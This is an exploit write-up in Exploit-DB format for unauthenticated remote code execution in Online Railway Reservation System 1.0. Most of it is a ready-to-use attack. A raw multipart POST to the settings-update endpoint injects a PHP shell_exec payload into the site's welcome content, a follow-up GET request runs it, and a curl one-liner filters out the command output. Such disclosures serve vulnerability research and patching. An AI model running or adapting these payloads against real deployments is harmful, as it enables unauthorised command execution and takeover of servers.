Online Railway Reservation System 1.0 - Remote Code Execution Vulnerability

#Exploit Title: Online Railway Reservation System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
#Exploit Author: Zachary Asher
#Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip
#Version: 1.0
#Tested on: Online Railway Reservation System 1.0

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Command Execution
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POST /orrs/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------41914587873111789572282654447
Content-Length: 164

-----------------------------41914587873111789572282654447
Content-Disposition: form-data; name="content[welcome]"
<?php echo shell_exec('id -a'); ?>

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View Output
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GET /orrs/ HTTP/1.1
Host: localhost
Content-Length: 2

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View Only STDOUT
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curl -i -s -k -X $'GET' \
    -H $'Host: localhost' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost/orrs/'| sed -n '/\"welcome-content\"/,/<\/div/p' | grep -v '<'